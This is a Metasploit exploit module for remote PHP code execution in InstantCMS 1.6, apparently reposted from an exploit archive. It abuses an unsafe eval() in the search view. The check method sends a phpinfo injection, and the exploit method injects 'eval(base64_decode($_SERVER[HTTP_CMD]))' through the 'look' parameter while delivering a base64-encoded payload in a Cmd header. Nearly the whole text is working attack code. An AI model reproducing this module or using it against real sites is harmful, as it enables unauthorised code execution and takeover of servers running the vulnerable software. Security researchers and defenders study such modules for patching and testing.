InstantCMS 1.6 Remote PHP Code Execution Exploit

:
08.07.2013
:
InstantCMS 1.6
:

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
'Description' => %q{
This module exploits an arbitrary php command execution vulnerability, because of a
dangerous use of eval(), in InstantCMS versions 1.6.
},
'Author' =>
[
'AkaStep', # Vulnerability discovery and PoC
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '60816' ],
[ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ]
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'InstantCMS 1.6', { } ],
],
'DisclosureDate' => 'Jun 26 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
], self.class)
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s),
'vars_get' =>
{
'view' => 'search',
'query' => '${echo phpinfo()}'
}
})

if res
if res.body.match(/Build Date/)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Unknown
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
return Exploit::CheckCode::Unknown
end

def exploit

print_status("Executing payload...")

res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s),
'vars_get' =>
{
'view' => 'search',
'query' => rand_text_alpha(3 + rand(3)),
'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
},
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})

end
end